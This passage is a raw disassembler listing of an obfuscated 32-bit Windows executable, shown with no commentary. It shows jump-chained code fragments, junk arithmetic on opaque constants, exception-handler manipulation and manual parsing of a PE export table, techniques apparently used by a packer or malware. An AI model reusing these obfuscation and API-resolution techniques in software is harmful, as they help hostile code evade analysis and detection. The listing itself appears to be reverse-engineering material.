CODE XREF: sub_425BF2+Ej jz loc_4290BA loc_427266: ; CODE XREF: hjohnhn9:loc_4280AEj jmp loc_425B48 ; END OF FUNCTION CHUNK FOR sub_425BF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42698F loc_42726B: ; CODE XREF: sub_42698F:loc_426E55j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42698F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F85 loc_42726D: ; CODE XREF: sub_426F85+856j jmp loc_428150 ; END OF FUNCTION CHUNK FOR sub_426F85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CCD loc_427272: ; CODE XREF: sub_423CCD+351Aj mov eax, [ebp+arg_0] cmp dword ptr [eax-0Ch], 4 jnz loc_427288 add [ebp+var_8], 4 jmp loc_426996 ; --------------------------------------------------------------------------- loc_427288: ; CODE XREF: sub_423CCD+35ACj push offset loc_423B63 jmp nullsub_34 ; END OF FUNCTION CHUNK FOR sub_423CCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_427292: ; CODE XREF: sub_427486+1744j jnz loc_426123 ; END OF FUNCTION CHUNK FOR sub_427486 ; START OF FUNCTION CHUNK FOR sub_424EC9 loc_427298: ; CODE XREF: sub_424EC9+2F61j jmp loc_428A28 ; END OF FUNCTION CHUNK FOR sub_424EC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42729D: ; CODE XREF: sub_424631-742j jmp loc_4276C5 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- xor edi, 0E9F2FF93h and ecx, 0B476BC97h jmp loc_426123 ; --------------------------------------------------------------------------- loc_4272B3: ; DATA XREF: sub_4245BA+Eo mov eax, [ebp-4] movzx eax, word ptr [eax+14h] push edx push 0FF219A5h pop edx sub edx, 1CABD1EFh or edx, 0BDCE1D41h jmp loc_428871 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423E64 loc_4272D3: ; CODE XREF: sub_423E64-16Ej mov edx, esi jmp loc_4239A2 ; END OF FUNCTION CHUNK FOR sub_423E64 ; --------------------------------------------------------------------------- mov edi, 0A2291AFAh jmp sub_428D49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_4272E4: ; CODE XREF: sub_424819+3725j push esi mov esi, ebp xchg esi, [esp+0] mov ebp, edx xchg ebp, [esp+0] push esi mov esi, ebx jmp loc_4282C4 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- db 0BAh dd 17B3C1CFh, 425E5A68h, 0E7D6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427306: ; CODE XREF: sub_425BD2:loc_425D5Bj sub ecx, 0CBA9F7CFh rol ecx, 15h add ecx, 48A7B40Fh add eax, ecx pop ecx mov eax, [eax] mov esp, ebp xchg eax, [esp+4+var_4] jmp loc_424AB4 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; =============== S U B R O U T I N E ======================================= sub_427324 proc near ; CODE XREF: hjohnhn9:00424CA0p ; hjohnhn9:004280BAj ; FUNCTION CHUNK AT 004279D7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004284AC SIZE 0000001F BYTES xchg eax, [esp+0] pop eax push 75E083Dh pop edx xor edx, 1BF516ECh jmp loc_4284AC sub_427324 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_427339: ; CODE XREF: sub_426F5A:loc_427B8Dj push 0C335D6F1h or ebp, edx jmp loc_423E8D ; END OF FUNCTION CHUNK FOR sub_426F5A ; =============== S U B R O U T I N E ======================================= sub_427345 proc near ; CODE XREF: sub_4249E1-B25p ; hjohnhn9:00424140j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423571 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00424FE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042742C SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push 0C734959h xchg ecx, [esp+0] mov esi, ecx jmp loc_42742C sub_427345 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427363 loc_427358: ; CODE XREF: hjohnhn9:loc_424728j ; sub_427363-159Ej pop large dword ptr fs:0 add esp, 4 retn ; END OF FUNCTION CHUNK FOR sub_427363 ; =============== S U B R O U T I N E ======================================= sub_427363 proc near ; CODE XREF: sub_423369+4p ; FUNCTION CHUNK AT 00425DB7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004270C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427358 SIZE 0000000B BYTES push large dword ptr fs:0 jmp loc_4270C0 sub_427363 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_42736F: ; CODE XREF: sub_427486+196Ej sbb edx, 848BAD9h jmp loc_4288D4 ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_42737B: ; CODE XREF: sub_425029+1ABAj jmp loc_423AE9 ; END OF FUNCTION CHUNK FOR sub_425029 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427BCE loc_427380: ; CODE XREF: sub_427BCE+13j jnz loc_42377B jmp loc_426EFE ; END OF FUNCTION CHUNK FOR sub_427BCE ; --------------------------------------------------------------------------- sbb eax, edx jmp sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4264CF loc_427392: ; CODE XREF: sub_4264CF:loc_4264DEj call sub_426B29 mov edx, [ebp-8] mov eax, [ebp-4] call nullsub_3 jmp loc_426809 ; END OF FUNCTION CHUNK FOR sub_4264CF ; --------------------------------------------------------------------------- cmp ebp, 161BC831h jmp loc_4290C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4273B2: ; CODE XREF: sub_42304F+6j ; sub_42304F+11D2j ... jno loc_4273D0 or eax, eax jz loc_427112 cmp eax, 0FFFFFFFFh jz loc_427112 mov eax, [eax] jmp loc_426AE9 ; --------------------------------------------------------------------------- loc_4273D0: ; CODE XREF: sub_42304F:loc_4273B2j or eax, eax jz loc_427112 jmp loc_4237EA ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- loc_4273DD: ; CODE XREF: hjohnhn9:00427F54j xor ebx, 9950C18Ch or edi, 9DF68B53h jmp loc_428B98 ; --------------------------------------------------------------------------- loc_4273EE: ; CODE XREF: hjohnhn9:004248A1j adc edx, 0F634EFE5h pop ebx ; START OF FUNCTION CHUNK FOR sub_424819 loc_4273F5: ; CODE XREF: sub_424819:loc_42488Bj add ebx, 0FD77EFFEh xchg ebx, [esp-4+arg_0] push eax lea eax, loc_428A04 jmp loc_426EC4 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_42740A: ; CODE XREF: sub_4278EC-34ECj mov edx, ds:dword_423944 imul byte ptr [edx] push offset loc_427C31 jmp loc_42434F ; END OF FUNCTION CHUNK FOR sub_4278EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B97 loc_42741C: ; CODE XREF: sub_424B97+3727j pushf sub ebx, edx popf loc_427420: ; CODE XREF: sub_424B97+371Bj add edx, 2CDA0D3Dh mov edx, [edx] xchg edx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_424B97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427345 loc_42742C: ; CODE XREF: sub_427345+Ej jmp loc_423571 ; END OF FUNCTION CHUNK FOR sub_427345 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_427431: ; CODE XREF: sub_4260BD+E36j jmp loc_423A50 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_427436: ; CODE XREF: sub_426A78-B44j jmp loc_423217 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_42743B: ; CODE XREF: sub_42355C+10j jmp loc_42607D ; END OF FUNCTION CHUNK FOR sub_42355C ; =============== S U B R O U T I N E ======================================= sub_427440 proc near ; DATA XREF: sub_423E64:loc_4239A6o push dword ptr [ebp+10h] push edx call sub_423BC3 sub_427440 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423CDB loc_427449: ; CODE XREF: sub_423CDB+2E3Ej jmp loc_42407B ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240E6 loc_42744E: ; CODE XREF: sub_4240E6:loc_428AFFj push offset loc_4280BF jmp nullsub_113 ; END OF FUNCTION CHUNK FOR sub_4240E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_427458: ; CODE XREF: sub_426D02:loc_428F06j jz loc_425AFC jmp loc_425B43 ; END OF FUNCTION CHUNK FOR sub_426D02 ; =============== S U B R O U T I N E ======================================= sub_427463 proc near ; CODE XREF: hjohnhn9:004271D5j ; sub_4242A0:loc_427877p xchg ecx, [esp+0] pop ecx push eax call sub_423425 mov [ebp-4], eax jmp loc_423415 sub_427463 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E85 loc_427475: ; CODE XREF: sub_427E85+4j lea eax, [ebp-125h] jmp loc_426E75 ; END OF FUNCTION CHUNK FOR sub_427E85 ; --------------------------------------------------------------------------- loc_427480: ; CODE XREF: hjohnhn9:00423C3Fj jg loc_423640 ; =============== S U B R O U T I N E ======================================= sub_427486 proc near ; CODE XREF: sub_4264CF+Ap var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423246 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424D52 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00424E94 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425D38 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426123 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004263D3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004271F2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042721D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427292 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042736F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427921 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00428004 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042850B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004288D4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00428B1C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428BC1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428DEE SIZE 0000000B BYTES xchg esi, [esp+0] pop esi or eax, eax jmp loc_425D38 sub_427486 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_427491: ; CODE XREF: sub_42363F+1553j jo loc_425215 and edx, ebx jp loc_424067 jmp loc_424FB4 ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- loc_4274A4: ; CODE XREF: hjohnhn9:00423D9Cj add eax, 381617F7h add eax, ebp push ecx loc_4274AD: ; CODE XREF: hjohnhn9:00427C39j push 332398CDh sub ecx, ebx jmp loc_425DF2 ; --------------------------------------------------------------------------- or ecx, 87CFD7Ch or ebp, 0ECC13577h jmp sub_42698F ; --------------------------------------------------------------------------- test edi, 0F8C6ADB3h jmp loc_426CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_4274D5: ; CODE XREF: sub_426D02+1B1Cj mov eax, [eax] mov [ebp-4], eax push 0E2FF0717h loc_4274DF: ; CODE XREF: sub_424928+3D1Dj pop eax add eax, 86D6B987h xor eax, 4E722E70h add eax, 9EEA912Ah jmp loc_42326A ; END OF FUNCTION CHUNK FOR sub_426D02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_4274F7: ; CODE XREF: sub_4244F5-13Dj push edx push eax ; END OF FUNCTION CHUNK FOR sub_4244F5 ; START OF FUNCTION CHUNK FOR sub_42304F loc_4274F9: ; CODE XREF: sub_42304F+19E5j mov eax, [ebp-18h] add eax, eax cdq add eax, [esp-4+arg_0] adc edx, [esp-4+arg_4] add esp, 8 jmp loc_426EF9 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- loc_42750E: ; CODE XREF: hjohnhn9:004234C5j ; hjohnhn9:loc_427989j call sub_424877 push 0B191C15Dh pop edx add edx, 2896EF22h or edx, 0EDE0DF48h add edx, 0B259B4B7h call sub_4279ED jmp loc_425CDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_427535: ; CODE XREF: sub_42325E+1FBDj pop ebx xor ebx, 0A02794A4h jns loc_4269A0 not ecx test ebx, 0D8609567h jmp loc_4231D4 ; END OF FUNCTION CHUNK FOR sub_42325E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_427550: ; CODE XREF: sub_423F65+104Aj jmp loc_428287 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_427555: ; CODE XREF: sub_4231AD+4j ; sub_4231AD+1B47j ... mov al, 1 jmp loc_424CFC ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_42755C: ; CODE XREF: sub_424564+8AFj ; sub_424564+1EA6j inc [ebp+var_4] jmp loc_42456D ; END OF FUNCTION CHUNK FOR sub_424564 ; =============== S U B R O U T I N E ======================================= sub_427564 proc near ; CODE XREF: sub_424D38:loc_428AACp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423A98 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00423D06 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004245D2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424AB9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00425CE7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426FE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427D81 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042825D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428906 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00428B22 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042901D SIZE 00000005 BYTES call sub_423369 loc_427569: ; CODE XREF: sub_423548:loc_423551j test al, al loc_42756B: ; CODE XREF: hjohnhn9:0042489Bj jz loc_424AB9 jmp loc_426FE9 sub_427564 endp ; sp-analysis failed ; --------------------------------------------------------------------------- shr edi, 0Eh jmp sub_4230E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_42757E: ; CODE XREF: sub_4287BF+8BFj mov eax, [eax] add eax, [ebp-4] jmp loc_428888 ; --------------------------------------------------------------------------- loc_427588: ; CODE XREF: sub_4287BF:loc_4287D2j mov eax, [ebp-4] call sub_428436 test al, al jnz loc_4268DB mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jmp loc_42318D ; END OF FUNCTION CHUNK FOR sub_4287BF ; =============== S U B R O U T I N E ======================================= sub_4275A3 proc near ; CODE XREF: sub_42911Cj ; DATA XREF: sub_427C9B:loc_429112o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004231A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425CD0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00426134 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042686B SIZE 00000005 BYTES lea eax, [ebp-14h] push eax push ecx mov ecx, ebx xchg ecx, [esp+0] jmp loc_42686B sub_4275A3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4275B2 proc near ; CODE XREF: hjohnhn9:00423875j ; hjohnhn9:00427E9Cp ; FUNCTION CHUNK AT 0042471E SIZE 00000005 BYTES xchg edx, [esp+0] pop edx call sub_424AAE xor ebx, eax mov [ebp-8], ebx push offset sub_426475 jmp loc_42471E sub_4275B2 endp ; --------------------------------------------------------------------------- loc_4275CA: ; CODE XREF: hjohnhn9:00425F10j or edi, ebp push edi add edi, edx shl ecx, 16h ; START OF FUNCTION CHUNK FOR sub_426354 loc_4275D2: ; CODE XREF: sub_426354:loc_425F00j or ecx, 0A4320A8Ah and ecx, 3F6B5DA7h jmp loc_4287E0 ; END OF FUNCTION CHUNK FOR sub_426354 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F90 loc_4275E4: ; CODE XREF: sub_427F90+Fj jmp loc_428F6C ; END OF FUNCTION CHUNK FOR sub_427F90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4275E9: ; CODE XREF: sub_423B05+168j jmp loc_4285EB ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_4275EE: ; CODE XREF: sub_423F65+Dj jnz loc_424F91 jmp loc_4252A4 ; END OF FUNCTION CHUNK FOR sub_423F65 ; =============== S U B R O U T I N E ======================================= sub_4275F9 proc near ; DATA XREF: hjohnhn9:loc_429089o var_4 = dword ptr -4 add eax, 9A703663h add eax, ebp add eax, 36415E00h mov eax, [eax] push esi mov esi, eax xchg esi, [esp+4+var_4] push offset sub_423444 jmp loc_4251E1 sub_4275F9 endp ; --------------------------------------------------------------------------- loc_427619: ; DATA XREF: sub_426B29+126Ao mov [ebp-0Ah], al ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_42761C: ; CODE XREF: sub_4262C5:loc_427C2Cj jz loc_42389B mov eax, [ebp-4] cmp byte ptr [eax], 0 call sub_428447 loc_42762D: ; CODE XREF: sub_428945+7j jmp loc_423288 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428249 loc_427632: ; CODE XREF: sub_428249+5j jmp loc_425BD8 ; END OF FUNCTION CHUNK FOR sub_428249 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_427637: ; CODE XREF: sub_424A78:loc_42380Bj xchg ebx, [esp-4+arg_0] mov ebp, ebx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42763E: ; CODE XREF: sub_4260BD-173Dj cmp dword ptr [ebp-8], 0 jge loc_426D9D jmp loc_424A12 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4270CF loc_42764D: ; CODE XREF: sub_4270CF+9j mov edx, ecx xchg edx, [esp+4+var_4] call sub_423B05 ; END OF FUNCTION CHUNK FOR sub_4270CF ; START OF FUNCTION CHUNK FOR sub_424698 loc_427657: ; CODE XREF: sub_424698+1B4Ej jmp loc_427CFC ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426211 loc_42765C: ; CODE XREF: sub_426211-1CD4j jmp nullsub_101 ; END OF FUNCTION CHUNK FOR sub_426211 ; --------------------------------------------------------------------------- loc_427661: ; DATA XREF: sub_427486-272Eo popf xchg eax, [esp] jmp sub_4279ED ; --------------------------------------------------------------------------- loc_42766A: ; DATA XREF: sub_427C9B-2D20o push edi push 2E5D284Bh pop edi rol edi, 1Ch xor edi, 205893AEh rol edi, 1 add edi, 0DAC7B922h xchg edi, [esp] jmp loc_4239E7 ; --------------------------------------------------------------------------- loc_42768A: ; DATA XREF: sub_4282F8:loc_425BC8o pop ecx mov edx, [ebp+8] imul dword ptr [edx-4] push offset sub_425D47 jmp loc_425D60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240AE loc_42769B: ; CODE XREF: sub_4240AE+2D1Cj add esi, 0DD664860h or esi, 104BE9C1h add esi, 0A9F64686h xchg esi, [esp+8+var_8] jmp sub_426708 ; END OF FUNCTION CHUNK FOR sub_4240AE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424831 loc_4276B6: ; CODE XREF: sub_424831+19j jmp loc_424405 ; END OF FUNCTION CHUNK FOR sub_424831 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_4276BB: ; CODE XREF: sub_424A28-1FCj jmp loc_4289C5 ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_4276C0: ; CODE XREF: sub_42325E-10Aj jmp loc_427140 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4276C5: ; CODE XREF: sub_424631:loc_42729Dj push eax cmp dword ptr [ebp-14h], 6 setz al call sub_42392D pop ecx shl eax, 3 mov edx, [ebp+8] jmp loc_428E16 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- add ebp, 0B3275500h adc ecx, eax jmp sub_426C09 ; --------------------------------------------------------------------------- loc_4276EB: ; DATA XREF: sub_428E98-400o mov ebp, [eax] add eax, 4 mov edx, [eax] call sub_4247F4 ; START OF FUNCTION CHUNK FOR sub_42325E loc_4276F7: ; CODE XREF: sub_42325E+BFAj jmp loc_423A82 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4276FC: ; CODE XREF: sub_426A78:loc_4233C8j push esi mov esi, ecx xchg esi, [esp+4+var_4] call sub_424819 loc_427707: ; CODE XREF: sub_42855B-5231j jmp loc_4250EF ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- shr ebx, 9 jmp sub_4247F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_427714: ; CODE XREF: sub_4260BD+222Dj xor edx, 8CF583B7h push 0FAB69B54h jge loc_42514C not edx jmp loc_427947 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230E0 loc_42772C: ; CODE XREF: sub_4230E0:loc_425D9Ej sub ebx, 0DDEDB4E8h add ebx, 0F671D69Ah rol ebx, 1Fh add ebx, 7DDFD362h xchg ebx, [esp-4+arg_0] jmp sub_427A36 ; END OF FUNCTION CHUNK FOR sub_4230E0 ; --------------------------------------------------------------------------- loc_427749: ; CODE XREF: hjohnhn9:00427062j jle loc_427240 ; =============== S U B R O U T I N E ======================================= sub_42774F proc near ; CODE XREF: sub_427A58:loc_423F10p xchg eax, [esp+0] pop eax call sub_426741 mov eax, [ebp-4] mov esp, ebp pop ebp jmp nullsub_27 sub_42774F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427763: ; CODE XREF: hjohnhn9:0042638Ej js loc_42872A cdq jl locret_424AB3 jmp loc_428AD8 ; --------------------------------------------------------------------------- loc_427775: ; CODE XREF: hjohnhn9:loc_423801j mov ecx, offset loc_425071 jmp loc_4232A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424377 loc_42777F: ; CODE XREF: sub_424377:loc_424E8Aj mov [ebp-8], edx mov [ebp-4], eax mov edx, [ebp-8] mov eax, [ebp-4] jmp loc_4264DE ; END OF FUNCTION CHUNK FOR sub_424377 ; --------------------------------------------------------------------------- loc_427790: ; CODE XREF: hjohnhn9:004267A7j not edx ; =============== S U B R O U T I N E ======================================= sub_427792 proc near ; CODE XREF: sub_42304F:loc_424F43p ; FUNCTION CHUNK AT 004252AF SIZE 00000012 BYTES xchg edi, [esp+0] pop edi mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] jmp loc_4252AF sub_427792 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4277A2: ; CODE XREF: sub_424631-307j mov eax, [ebp+8] cmp dword ptr [eax-14h], 4 jnz loc_426619 mov eax, [ebp+8] cmp dword ptr [eax-4], 4 jnz loc_426619 cmp dword ptr [ebp-10h], 0 jmp loc_424F09 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D0E loc_4277C5: ; CODE XREF: sub_428D0E:loc_423B92j mov [ebp-10h], eax mov eax, [ebp-10h] mov eax, [eax+60h] ; END OF FUNCTION CHUNK FOR sub_428D0E ; START OF FUNCTION CHUNK FOR sub_426F85 loc_4277CE: ; CODE XREF: sub_426F85+1D84j add eax, [ebp-4] mov [ebp-14h], eax mov eax, [ebp-14h] mov eax, [eax+18h] dec eax jmp loc_42726D ; END OF FUNCTION CHUNK FOR sub_426F85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_4277E0: ; CODE XREF: sub_425BD2+3B5j js sub_425EA9 mov ebx, edx loc_4277E8: ; CODE XREF: sub_425BD2:loc_428B34j call sub_424877 mov edx, 0D504D785h call sub_4279ED push ebp mov ebp, eax jmp loc_428CAA ; END OF FUNCTION CHUNK FOR sub_425BD2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_427800: ; CODE XREF: sub_424A78+1B6j jmp sub_427FCE ; END OF FUNCTION CHUNK FOR sub_424A78 ; =============== S U B R O U T I N E ======================================= sub_427805 proc near ; DATA XREF: sub_426354+5E8o jnz loc_425ED0 call sub_426098 sub_427805 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427810 proc near ; CODE XREF: hjohnhn9:0042526Bj ; sub_428D1E+Bp ; FUNCTION CHUNK AT 00426B09 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx cmp edx, 7C61090Eh loc_42781A: ; CODE XREF: sub_42304F:loc_4282D3j jz loc_4243F2 jmp loc_426B09 sub_427810 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_427825: ; CODE XREF: sub_423BC3+2EC9j jns loc_425F6E loc_42782B: ; CODE XREF: sub_423BC3:loc_4236BBj add edx, 0E53F644Bh add edx, ebp add edx, 984AE1Fh jmp loc_424C7B ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- loc_42783E: ; CODE XREF: hjohnhn9:loc_42430Fj xchg ebx, [esp] mov eax, ebx and ebx, edi jmp loc_4290F1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426961 loc_42784B: ; CODE XREF: sub_426961+16j jmp loc_4278A0 ; END OF FUNCTION CHUNK FOR sub_426961 ; --------------------------------------------------------------------------- loc_427850: ; CODE XREF: hjohnhn9:0042620Cj xchg eax, ebp ; =============== S U B R O U T I N E ======================================= sub_427852 proc near ; CODE XREF: sub_428271-16E4p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00424064 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004242E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425156 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425F3A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426AA2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427F82 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042823F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428319 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00428883 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428EF2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00428F16 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx adc edx, [esp+4] jmp loc_425F3A sub_427852 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_427860: ; CODE XREF: sub_425CB3+B14j call sub_42897B push offset loc_424C6A jmp nullsub_115 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- adc ebx, edx jmp sub_4235C9 ; --------------------------------------------------------------------------- locret_427876: ; CODE XREF: hjohnhn9:00424B2Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242A0 loc_427877: ; CODE XREF: sub_4242A0+Aj call sub_427463 loc_42787C: 